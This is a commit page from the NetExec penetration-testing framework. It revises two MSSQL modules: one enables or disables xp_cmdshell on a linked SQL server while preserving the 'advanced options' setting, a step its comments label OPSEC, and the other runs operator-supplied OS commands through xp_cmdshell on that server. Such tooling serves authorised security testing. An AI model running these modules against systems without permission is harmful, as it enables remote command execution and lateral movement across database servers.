Skip to content

Commit 4f028ea

Browse files
authored
Merge pull request Pennyw0rth#686 from Pennyw0rth/neff-fix-mssql-module
Automatically preserve state of "advanced options" on the target
2 parents b243ee8 + 4d8583e commit 4f028ea

2 files changed

Lines changed: 59 additions & 28 deletions

File tree

nxc/modules/link_enable_xp.py

Lines changed: 56 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -17,9 +17,9 @@ def __init__(self):
1717
def options(self, context, module_options):
1818
"""
1919
Defines the options for enabling or disabling xp_cmdshell on the linked server.
20-
ACTION Specifies whether to enable or disable:
21-
- enable (default)
22-
- disable
20+
ACTION Specifies whether to enable or disable:
21+
- enable (default)
22+
- disable
2323
LINKED_SERVER The name of the linked SQL server to target.
2424
"""
2525
self.action = module_options.get("ACTION", "enable")
@@ -28,6 +28,10 @@ def options(self, context, module_options):
2828
def on_login(self, context, connection):
2929
self.context = context
3030
self.mssql_conn = connection.conn
31+
32+
# Store the original state of options that have to be enabled/disabled in order to restore them later
33+
self.backuped_options = {}
34+
3135
if not self.linked_server:
3236
self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.")
3337
return
@@ -42,22 +46,58 @@ def on_login(self, context, connection):
4246

4347
def enable_xp_cmdshell(self):
4448
"""Enable xp_cmdshell on the linked server."""
45-
query = f"EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [{self.linked_server}]"
46-
self.context.log.display(f"Enabling advanced options on {self.linked_server}...")
47-
out = self.query_and_get_output(query)
48-
query = f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]"
49-
self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}...")
50-
out = self.query_and_get_output(query)
51-
self.context.log.display(out)
49+
self.backup_and_enable("advanced options")
50+
51+
current_value = self.is_option_enabled("xp_cmdshell")
52+
self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}. Current value: {current_value}")
53+
self.mssql_conn.sql_query(f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]")
5254
self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}")
5355

56+
self.restore("advanced options")
57+
5458
def disable_xp_cmdshell(self):
5559
"""Disable xp_cmdshell on the linked server."""
56-
query = f"EXEC ('sp_configure ''xp_cmdshell'', 0; RECONFIGURE; sp_configure ''show advanced options'', 0; RECONFIGURE;') AT [{self.linked_server}]"
57-
self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}...")
58-
self.query_and_get_output(query)
60+
self.backup_and_enable("advanced options")
61+
62+
current_value = self.is_option_enabled("xp_cmdshell")
63+
self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}. Current value: {current_value}")
64+
self.mssql_conn.sql_query(f"EXEC ('sp_configure xp_cmdshell, 0; RECONFIGURE;') AT [{self.linked_server}]")
5965
self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}")
6066

61-
def query_and_get_output(self, query):
62-
"""Executes a query and returns the output."""
63-
return self.mssql_conn.sql_query(query)
67+
self.restore("advanced options")
68+
69+
# Adapting methods from MSSQLEXEC for backup and restore functionality
70+
def restore(self, option):
71+
try:
72+
if not self.backuped_options[option]:
73+
self.context.log.debug(f"Option '{option}' was not enabled on {self.linked_server} originally, attempting to disable it.")
74+
query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\", 0;RECONFIGURE;') AT [{self.linked_server}]"
75+
self.context.log.debug(f"Executing query: {query}")
76+
self.mssql_conn.sql_query(query)
77+
else:
78+
self.context.log.debug(f"Option '{option}' was originally enabled on {self.linked_server}, leaving it enabled.")
79+
except Exception as e:
80+
self.context.log.error(f"[OPSEC] Error when attempting to restore option '{option}' on {self.linked_server}: {e}")
81+
82+
def backup_and_enable(self, option):
83+
try:
84+
self.backuped_options[option] = self.is_option_enabled(option)
85+
if not self.backuped_options[option]:
86+
self.context.log.debug(f"Option '{option}' is disabled on {self.linked_server}, attempting to enable it.")
87+
query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\", 1;RECONFIGURE;') AT [{self.linked_server}]"
88+
self.context.log.debug(f"Executing query: {query}")
89+
self.mssql_conn.sql_query(query)
90+
else:
91+
self.context.log.debug(f"Option '{option}' is already enabled on {self.linked_server}.")
92+
except Exception as e:
93+
self.context.log.error(f"Error when checking/enabling option '{option}' on {self.linked_server}: {e}")
94+
95+
def is_option_enabled(self, option):
96+
query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\";') AT [{self.linked_server}]"
97+
self.context.log.debug(f"Checking if {option} is enabled on {self.linked_server}: {query}")
98+
result = self.mssql_conn.sql_query(query)
99+
# Assuming the query returns a list of dictionaries with 'config_value' as the key
100+
self.context.log.debug(f"{option} check result: {result}")
101+
if result and result[0]["config_value"] == 1:
102+
return True
103+
return False

nxc/modules/link_xpcmd.py

Lines changed: 3 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -30,15 +30,6 @@ def on_login(self, context, connection):
3030
self.context.log.fail("Please provide both LINKED_SERVER and CMD options.")
3131
return
3232

33-
self.run_xp_cmdshell(self.command)
34-
35-
def run_xp_cmdshell(self, cmd):
36-
"""Run the specified command via xp_cmdshell on the linked server."""
37-
query = f"EXEC ('xp_cmdshell ''{cmd}''') AT [{self.linked_server}]"
38-
self.context.log.display(f"Running command on {self.linked_server}: {cmd}")
39-
result = self.query_and_get_output(query)
40-
self.context.log.success(f"Command output:\n{result}")
41-
42-
def query_and_get_output(self, query):
43-
"""Executes a query and returns the output."""
44-
return self.mssql_conn.sql_query(query)
33+
self.context.log.display(f"Running command on {self.linked_server}: {self.command}")
34+
result = self.mssql_conn.sql_query(f"EXEC ('xp_cmdshell ''{self.command}''') AT [{self.linked_server}]")
35+
self.context.log.success(f"Command output: {result}")

0 commit comments

Comments
 (0)